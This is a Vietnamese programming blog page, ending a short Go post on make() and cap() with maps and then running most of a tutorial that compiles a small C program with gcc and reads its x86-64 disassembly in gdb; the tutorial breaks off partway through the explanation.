<span class="kd">var</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nb">make</span><span class="p">([]</span><span class="kt">int</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="mi">10</span><span class="p">)</span><span class="w"></span>
<span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%v len %d cap %d\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">a</span><span class="p">,</span><span class="w"> </span><span class="nb">len</span><span class="p">(</span><span class="nx">a</span><span class="p">),</span><span class="w"> </span><span class="nb">cap</span><span class="p">(</span><span class="nx">a</span><span class="p">))</span><span class="w"></span>
<span class="c1">// [0 0] len 2 cap 10</span><span class="w"></span>
</code></pre></div>
<p>Và dùng make với map:</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">m</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nb">make</span><span class="p">(</span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="p">)</span><span class="w"></span>
<span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%v len %d cap ?\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">m</span><span class="p">,</span><span class="w"> </span><span class="nb">len</span><span class="p">(</span><span class="nx">m</span><span class="p">))</span><span class="w"></span>
</code></pre></div>
<p>cap(m) bằng mấy?</p>
<p><code>fmt.Printf("%v len %d cap %d\n", m, len(m), cap(m))</code></p>
<blockquote>
<p>./nil.go:7:49: invalid argument: m (variable of type map[string]int) for cap</p>
</blockquote>
<p>Không dùng được <code>cap</code> với map. Tại sao? vì nó như thế và sẽ không thay đổi.</p>
<p>Sau 12+ năm dùng Go, tác giả bradfitz (golang team (2010-2020)) đã đề xuất thêm cap(map), nhưng đã bị từ chối <a href="https://github.com/golang/go/issues/52157">https://github.com/golang/go/issues/52157</a>.</p>
<h2>Tham khảo</h2>
<ul>
<li><a href="https://go.dev/blog/maps">https://go.dev/blog/maps</a></li>
</ul>
<h2>Kết luận</h2>
<p>Go thật đơn giản, và đầy bất ngờ.</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Viết "Hello World" bằng C, đọc và chạy Assembly x86-64 (phần 1)2023-07-28T00:00:00+07:002023-07-28T00:00:00+07:00hvntag:familug.github.io,2023-07-28:/viet-hello-world-bang-c-doc-va-chay-assembly-x86-64-phan-1.html<p>Điều đầu tiên và quan trọng nhất khi đọc về C hay assembly là: không được sợ. Code có thể lạ hay dài, nhưng không hề khó, mà thường đơn giản.</p>
<ul>
<li>không yêu cầu biết C</li>
<li>không yêu cầu biết assembly</li>
<li>biết code đơn giản 1 ngôn ngữ bất kỳ …</li></ul><p>Điều đầu tiên và quan trọng nhất khi đọc về C hay assembly là: không được sợ. Code có thể lạ hay dài, nhưng không hề khó, mà thường đơn giản.</p>
<ul>
<li>không yêu cầu biết C</li>
<li>không yêu cầu biết assembly</li>
<li>biết code đơn giản 1 ngôn ngữ bất kỳ</li>
</ul>
<p>đọc xong là biết.</p>
<p>Bài viết liên quan hơi ngược lại với bài <a href="https://familug.github.io/hello-world-dung-x64-assembly.html">viết hello word bằng x86-64 assembly</a>, viết thì khó hơn đọc, bởi viết cần nghĩ đủ thứ, lên kế hoạch viết gì tiếp, đặt tên ra sao, còn đọc thì chỉ cần đi theo.</p>
<p>PS: nên đọc trên máy tính hay tablet để có format chuẩn.</p>
<h3>Cài đặt gcc gdb</h3>
<p>Trên Ubuntu</p>
<div class="highlight"><pre><span></span><code>sudo apt update && sudo apt install -y gcc gdb
</code></pre></div>
<h3>Viết Hello World bằng C</h3>
<p>Hơn "hello world" 1 chút, sẽ viết 1 function nhận vào 8 đầu vào và tính tổng.</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span><span class="cp"></span>
<span class="kt">int</span><span class="w"> </span><span class="nf">sum</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">a</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">b</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">c</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">d</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">e</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">f</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">g</span><span class="p">,</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">h</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">b</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">c</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">d</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">e</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">f</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">g</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">h</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">s</span><span class="p">;</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Hello world!"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">sum</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">8</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">s</span><span class="o">*</span><span class="mi">2</span><span class="p">;</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Dòng include như import trong Python để C có thể gọi function <code>puts</code>. Còn lại, code trên tương đương code Python3 sau:</p>
<div class="highlight"><pre><span></span><code><span class="k">def</span> <span class="nf">sum</span><span class="p">(</span><span class="n">a</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">b</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">c</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">d</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">f</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">g</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">h</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-></span> <span class="nb">int</span><span class="p">:</span>
<span class="n">s</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="n">a</span> <span class="o">+</span> <span class="n">b</span> <span class="o">+</span> <span class="n">c</span> <span class="o">+</span> <span class="n">d</span> <span class="o">+</span> <span class="n">e</span> <span class="o">+</span> <span class="n">f</span> <span class="o">+</span> <span class="n">g</span> <span class="o">+</span> <span class="n">h</span>
<span class="k">return</span> <span class="n">s</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">()</span> <span class="o">-></span> <span class="nb">int</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"Hello world!"</span><span class="p">)</span>
<span class="n">s</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">8</span><span class="p">)</span>
<span class="k">return</span> <span class="n">s</span><span class="o">*</span><span class="mi">2</span>
</code></pre></div>
<h3>Dùng gcc Compile & link code thành file binary</h3>
<div class="highlight"><pre><span></span><code><span class="err">$</span><span class="w"> </span><span class="n">gcc</span><span class="w"> </span><span class="o">--</span><span class="n">help</span><span class="w"></span>
<span class="k">Usage</span><span class="err">:</span><span class="w"> </span><span class="n">gcc</span><span class="w"> </span><span class="o">[</span><span class="n">options</span><span class="o">]</span><span class="w"> </span><span class="k">file</span><span class="p">...</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="w"> </span><span class="o">--</span><span class="n">help</span><span class="o">=</span><span class="err">{</span><span class="n">common</span><span class="w"></span>
<span class="err">$</span><span class="w"> </span><span class="n">gcc</span><span class="w"> </span><span class="o">--</span><span class="n">help</span><span class="o">=</span><span class="n">common</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">grep</span><span class="w"> </span><span class="n">debug</span><span class="w"></span>
<span class="w"> </span><span class="c1">--debug Same as -g.</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="err">$</span><span class="w"> </span><span class="n">gcc</span><span class="w"> </span><span class="o">-</span><span class="n">g</span><span class="w"> </span><span class="n">hello</span><span class="p">.</span><span class="n">c</span><span class="w"></span>
<span class="err">$</span><span class="w"> </span><span class="k">file</span><span class="w"> </span><span class="n">a</span><span class="p">.</span><span class="k">out</span><span class="w"></span>
<span class="n">a</span><span class="p">.</span><span class="k">out</span><span class="err">:</span><span class="w"> </span><span class="n">ELF</span><span class="w"> </span><span class="mi">64</span><span class="o">-</span><span class="nc">bit</span><span class="w"> </span><span class="n">LSB</span><span class="w"> </span><span class="n">pie</span><span class="w"> </span><span class="n">executable</span><span class="p">,</span><span class="w"> </span><span class="n">x86</span><span class="o">-</span><span class="mi">64</span><span class="p">,</span><span class="w"> </span><span class="n">version</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="p">(</span><span class="n">SYSV</span><span class="p">),</span><span class="w"> </span><span class="n">dynamically</span><span class="w"> </span><span class="n">linked</span><span class="p">,</span><span class="w"> </span><span class="n">interpreter</span><span class="w"> </span><span class="o">/</span><span class="n">lib64</span><span class="o">/</span><span class="n">ld</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">x86</span><span class="o">-</span><span class="mf">64.</span><span class="n">so</span><span class="mf">.2</span><span class="p">,</span><span class="w"> </span><span class="n">BuildID</span><span class="o">[</span><span class="n">sha1</span><span class="o">]=</span><span class="mi">80</span><span class="n">dbc7d0bdab643730e858ec44e97fcd92dacb7b</span><span class="p">,</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">GNU</span><span class="o">/</span><span class="n">Linux</span><span class="w"> </span><span class="mf">4.4.0</span><span class="p">,</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="n">debug_info</span><span class="p">,</span><span class="w"> </span><span class="ow">not</span><span class="w"> </span><span class="n">stripped</span><span class="w"></span>
</code></pre></div>
<p>Chạy code</p>
<div class="highlight"><pre><span></span><code>$ ./a.out
Hello world!
$ <span class="nb">echo</span> <span class="nv">$?</span>
<span class="m">72</span>
</code></pre></div>
<p>Vì main return <code>(1+2+3+4+5+6+7+8)*2</code> ta được kết quả 72.</p>
<h3>Các lệnh gdb cơ bản</h3>
<ul>
<li><code>info</code> hiển thị các thông tin, gõ <code>info</code> sẽ hiện các lệnh con như <code>info functions</code></li>
</ul>
<div class="highlight"><pre><span></span><code><span class="nf">File</span><span class="w"> </span><span class="no">hello.c</span><span class="p">:</span><span class="w"></span>
<span class="err">8:</span><span class="w"> </span><span class="nf">int</span><span class="w"> </span><span class="no">main</span><span class="p">()</span><span class="c1">;</span>
<span class="err">3:</span><span class="w"> </span><span class="nf">int</span><span class="w"> </span><span class="no">sum</span><span class="p">(</span><span class="no">int</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="p">,</span><span class="w"> </span><span class="no">int</span><span class="p">)</span><span class="c1">;</span>
<span class="nf">Non-debugging</span><span class="w"> </span><span class="no">symbols</span><span class="p">:</span><span class="w"></span>
<span class="err">0</span><span class="nf">x0000000000001000</span><span class="w"> </span><span class="no">_init</span><span class="w"></span>
<span class="err">0</span><span class="nf">x0000000000001030</span><span class="w"> </span><span class="no">puts@plt</span><span class="w"></span>
<span class="err">0</span><span class="nf">x0000000000001040</span><span class="w"> </span><span class="no">_start</span><span class="w"></span>
<span class="err">0</span><span class="nf">x00000000000011dc</span><span class="w"> </span><span class="no">_fini</span><span class="w"></span>
</code></pre></div>
<ul>
<li>Code assembly có 2 syntax, gdb mặc định là AT&T <code>att</code> , hoặc phổ biến (cả trên Windows) là <code>intel</code>. Lệnh <code>set disassembly-flavor intel</code> để chọn intel syntax.</li>
</ul>
<div class="highlight"><pre><span></span><code>(gdb) set disassembly-flavor intel
</code></pre></div>
<ul>
<li><code>disas</code> hay <code>disassemble</code> in ra code assembly của function tương ứng.
Gõ <code>help disas</code> để hiện thêm chi tiết các option</li>
</ul>
<div class="highlight"><pre><span></span><code><span class="ss">(</span><span class="nv">gdb</span><span class="ss">)</span><span class="w"> </span><span class="nv">help</span><span class="w"> </span><span class="nv">disas</span><span class="w"></span>
<span class="nv">With</span><span class="w"> </span><span class="nv">a</span><span class="w"> </span><span class="o">/</span><span class="nv">s</span><span class="w"> </span><span class="nv">modifier</span>,<span class="w"> </span><span class="nv">source</span><span class="w"> </span><span class="nv">lines</span><span class="w"> </span><span class="nv">are</span><span class="w"> </span><span class="nv">included</span><span class="w"> </span><span class="ss">(</span><span class="k">if</span><span class="w"> </span><span class="nv">available</span><span class="ss">)</span>.<span class="w"></span>
<span class="nv">In</span><span class="w"> </span><span class="nv">this</span><span class="w"> </span><span class="nv">mode</span>,<span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">output</span><span class="w"> </span><span class="nv">is</span><span class="w"> </span><span class="nv">displayed</span><span class="w"> </span><span class="nv">in</span><span class="w"> </span><span class="nv">PC</span><span class="w"> </span><span class="nv">address</span><span class="w"> </span><span class="nv">order</span>,<span class="w"> </span><span class="nv">and</span><span class="w"></span>
<span class="nv">file</span><span class="w"> </span><span class="nv">names</span><span class="w"> </span><span class="nv">and</span><span class="w"> </span><span class="nv">contents</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nv">all</span><span class="w"> </span><span class="nv">relevant</span><span class="w"> </span><span class="nv">source</span><span class="w"> </span><span class="nv">files</span><span class="w"> </span><span class="nv">are</span><span class="w"> </span><span class="nv">displayed</span>.<span class="w"></span>
...<span class="w"></span>
</code></pre></div>
<p>Gõ <code>help disas /s main</code> để hiện code C kèm asm:</p>
<div class="highlight"><pre><span></span><code><span class="p">(</span><span class="n">gdb</span><span class="p">)</span><span class="w"> </span><span class="n">disas</span><span class="w"> </span><span class="o">/</span><span class="n">s</span><span class="w"> </span><span class="n">main</span><span class="w"></span>
<span class="k">Dump</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">assembler</span><span class="w"> </span><span class="n">code</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span><span class="nl">main</span><span class="p">:</span><span class="w"></span>
<span class="n">hello</span><span class="p">.</span><span class="nl">c</span><span class="p">:</span><span class="w"></span>
<span class="mi">8</span><span class="w"> </span><span class="nc">int</span><span class="w"> </span><span class="n">main</span><span class="p">()</span><span class="w"> </span><span class="err">{</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x000000000000118f</span><span class="w"> </span><span class="o"><+</span><span class="mi">0</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">rbp</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x0000000000001190</span><span class="w"> </span><span class="o"><+</span><span class="mi">1</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rbp</span><span class="p">,</span><span class="n">rsp</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x0000000000001193</span><span class="w"> </span><span class="o"><+</span><span class="mi">4</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">sub</span><span class="w"> </span><span class="n">rsp</span><span class="p">,</span><span class="mh">0x10</span><span class="w"></span>
<span class="mi">9</span><span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="ss">"Hello world!"</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x0000000000001197</span><span class="w"> </span><span class="o"><+</span><span class="mi">8</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">rax</span><span class="p">,</span><span class="o">[</span><span class="n">rip+0xe66</span><span class="o">]</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="mh">0x2004</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x000000000000119e</span><span class="w"> </span><span class="o"><+</span><span class="mi">15</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rdi</span><span class="p">,</span><span class="n">rax</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011a1</span><span class="w"> </span><span class="o"><+</span><span class="mi">18</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="mh">0x1030</span><span class="w"> </span><span class="o"><</span><span class="n">puts</span><span class="nv">@plt</span><span class="o">></span><span class="w"></span>
<span class="mi">10</span><span class="w"> </span><span class="nc">int</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nf">sum</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">8</span><span class="p">);</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011a6</span><span class="w"> </span><span class="o"><+</span><span class="mi">23</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="mh">0x8</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011a8</span><span class="w"> </span><span class="o"><+</span><span class="mi">25</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="mh">0x7</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011aa</span><span class="w"> </span><span class="o"><+</span><span class="mi">27</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">r9d</span><span class="p">,</span><span class="mh">0x6</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011b0</span><span class="w"> </span><span class="o"><+</span><span class="mi">33</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">r8d</span><span class="p">,</span><span class="mh">0x5</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011b6</span><span class="w"> </span><span class="o"><+</span><span class="mi">39</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">ecx</span><span class="p">,</span><span class="mh">0x4</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011bb</span><span class="w"> </span><span class="o"><+</span><span class="mi">44</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">edx</span><span class="p">,</span><span class="mh">0x3</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011c0</span><span class="w"> </span><span class="o"><+</span><span class="mi">49</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">esi</span><span class="p">,</span><span class="mh">0x2</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011c5</span><span class="w"> </span><span class="o"><+</span><span class="mi">54</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">edi</span><span class="p">,</span><span class="mh">0x1</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011ca</span><span class="w"> </span><span class="o"><+</span><span class="mi">59</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="mh">0x1139</span><span class="w"> </span><span class="o"><</span><span class="nf">sum</span><span class="o">></span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011cf</span><span class="w"> </span><span class="o"><+</span><span class="mi">64</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="k">add</span><span class="w"> </span><span class="n">rsp</span><span class="p">,</span><span class="mh">0x10</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011d3</span><span class="w"> </span><span class="o"><+</span><span class="mi">68</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">rbp-0x4</span><span class="o">]</span><span class="p">,</span><span class="n">eax</span><span class="w"></span>
<span class="mi">11</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">s</span><span class="p">;</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011d6</span><span class="w"> </span><span class="o"><+</span><span class="mi">71</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="n">DWORD</span><span class="w"> </span><span class="n">PTR</span><span class="w"> </span><span class="o">[</span><span class="n">rbp-0x4</span><span class="o">]</span><span class="w"></span>
<span class="mi">12</span><span class="w"> </span><span class="err">}</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011d9</span><span class="w"> </span><span class="o"><+</span><span class="mi">74</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">leave</span><span class="w"></span>
<span class="w"> </span><span class="mh">0x00000000000011da</span><span class="w"> </span><span class="o"><+</span><span class="mi">75</span><span class="o">></span><span class="err">:</span><span class="w"> </span><span class="n">ret</span><span class="w"></span>
<span class="k">End</span><span class="w"> </span><span class="k">of</span><span class="w"> </span><span class="n">assembler</span><span class="w"> </span><span class="k">dump</span><span class="p">.</span><span class="w"></span>
</code></pre></div>
<h3>Giải thích code assembly trong hello world</h3>
<p>Code assembly tuy dài nhưng đơn giản, chỉ dùng vài
instruction (câu lệnh) như:</p>
<ul>
<li>mov</li>
<li>call</li>
<li>lea</li>
<li>push</li>
<li>add</li>
<li>sub</li>
<li>leave</li>
<li>ret</li>
</ul>
<h4>Các register trong assembly x86-64</h4>
<p>asm x86-64 có 16 register (thanh ghi) thường dùng sau</p>
<ul>
<li>rbp: stack-frame base pointer</li>
<li>rsp: (top of) stack pointer</li>
<li>rax: accumulator - thường chứa kết quả của các phép tính</li>
<li>rbx</li>
<li>rcx</li>
<li>rdx</li>
<li>rdi</li>
<li>rsi</li>
</ul>
<p>và các register chỉ có trong x86-64 (64 bits), không có trong x86 (32 bits):</p>
<ul>
<li>r8d</li>
<li>r9d</li>
<li>...</li>
<li>r15d</li>
</ul>
<p>chúng như các "biến" với tên cố định trên CPU để chứa các giá trị.</p>
<ul>
<li>rip: instruction pointer là register đặc biệt, trỏ tới instruction tiếp theo được chạy.</li>
</ul>
<p>Các register đều có kích thước 64 bits, ở dạng 32 bits, tên của chúng thay chữ <code>r</code> bằng chữ <code>e</code>: eip, esp, ebp, eax, ebx, ecx, edx, edi, esi.</p>
<h4>rbp - base pointer register và stack</h4>
<div class="highlight"><pre><span></span><code><span class="mf">8</span><span class="w"> </span><span class="nb">int</span><span class="w"> </span><span class="n">main</span><span class="p">()</span><span class="w"> </span><span class="err">{</span><span class="w"></span>
<span class="w"> </span><span class="mf">0</span><span class="n">x000000000000118f</span><span class="w"> </span><span class="o"><+</span><span class="mf">0</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">rbp</span><span class="w"></span>
<span class="w"> </span><span class="mf">0</span><span class="n">x0000000000001190</span><span class="w"> </span><span class="o"><+</span><span class="mf">1</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">rbp</span><span class="p">,</span><span class="n">rsp</span><span class="w"></span>
<span class="w"> </span><span class="mf">0</span><span class="n">x0000000000001193</span><span class="w"> </span><span class="o"><+</span><span class="mf">4</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">sub</span><span class="w"> </span><span class="n">rsp</span><span class="p">,</span><span class="mf">0</span><span class="n">x10</span><span class="w"></span>
</code></pre></div>
<p>Khi vào 1 function, dòng đầu tiên luôn là <code>push rbp</code> để lưu giá trị hiện tại của <code>rbp</code> vào stack.
Stack là 1 vùng bộ nhớ liên tục, thường được chia thành các frames.
Mỗi function khi chạy có 1 stack-frame để lưu các thông tin của function đang chạy (biến local, parameter để gọi function khác ...). Stack giống như chồng sách, xếp vào trước sẽ ở dưới, lấy ra sau cùng.
<code>rbp</code> khi ở địa chỉ 0x00118f chứa "base pointer" của function <code>_start</code>, function gọi <code>main</code> (lập trình viên C phải viết chương trình chạy từ <code>main</code> vì <code>_start</code> chỉ gọi <code>main</code>).
<code>rbp</code> sẽ được dùng trong main để lưu "base pointer" của <code>main</code>, nên sẽ đè mất <code>rbp</code> của <code>_start</code>, do vậy phải push <code>rbp</code> vào stack. Tương ứng với nó, cuối function sẽ có instruction <code>leave</code>, thực chất là <code>pop</code> stack để lấy ra <code>rbp</code> đã lưu.</p>
<div class="highlight"><pre><span></span><code><span class="mf">12</span><span class="w"> </span><span class="err">}</span><span class="w"></span>
<span class="w"> </span><span class="mf">0</span><span class="n">x00000000000011db</span><span class="w"> </span><span class="o"><+</span><span class="mf">76</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">leave</span><span class="w"></span>
<span class="w"> </span><span class="mf">0</span><span class="n">x00000000000011dc</span><span class="w"> </span><span class="o"><+</span><span class="mf">77</span><span class="o">></span><span class="p">:</span><span class="w"> </span><span class="n">ret</span><span class="w"></span>
</code></pre></div>
<h4>Cú pháp asm instruction</h4>
<p>Hầu hết ở 1 trong các dạng</p>
<div class="highlight"><pre><span></span><code><span class="n">instruction</span><span class="w"></span>
<span class="n">instruction</span><span class="w"> </span><span class="n">register</span><span class="w"></span>
<span class="n">instruction</span><span class="w"> </span><span class="n">register</span><span class="w"> </span><span class="k">value</span><span class="w"></span>
<span class="n">instruction</span><span class="w"> </span><span class="n">register</span><span class="w"> </span><span class="o">[</span><span class="n">memory</span><span class="o">]</span><span class="w"></span>
</code></pre></div>
<p>Hai dòng tiếp theo khi bắt đầu main</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001190</span><span class="w"> </span><span class="err"><+</span><span class="mi">1</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rbp</span><span class="p">,</span><span class="no">rsp</span><span class="w"></span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001193</span><span class="w"> </span><span class="err"><+</span><span class="mi">4</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">sub</span><span class="w"> </span><span class="no">rsp</span><span class="p">,</span><span class="mi">0x10</span><span class="w"></span>
</code></pre></div>
<p><code>mov</code> thực hiện lấy giá trị của <code>rsp</code> ghi vào <code>rbp</code>, hay dễ hiểu hơn, như viết <code>rbp = rsp</code> trong C, Python. sub trừ địa chỉ rsp đi 0x10 hay 16 đơn vị.</p>
<h4>Hiển thị hello world!</h4>
<div class="highlight"><pre><span></span><code><span class="err">9</span><span class="w"> </span><span class="nf">puts</span><span class="p">(</span><span class="err">"</span><span class="no">Hello</span><span class="w"> </span><span class="no">world</span><span class="p">!</span><span class="err">"</span><span class="p">)</span><span class="c1">;</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x0000000000001197</span><span class="w"> </span><span class="err"><+</span><span class="mi">8</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">lea</span><span class="w"> </span><span class="no">rax</span><span class="p">,[</span><span class="no">rip</span><span class="err">+</span><span class="mi">0xe66</span><span class="p">]</span><span class="w"> </span><span class="c1"># 0x2004</span>
<span class="w"> </span><span class="err">0</span><span class="nf">x000000000000119e</span><span class="w"> </span><span class="err"><+</span><span class="mi">15</span><span class="err">></span><span class="p">:</span><span class="w"> </span><span class="no">mov</span><span class="w"> </span><span class="no">rdi</span><span class="p">,</span><span class="no">rax</span><span class="w"></span>
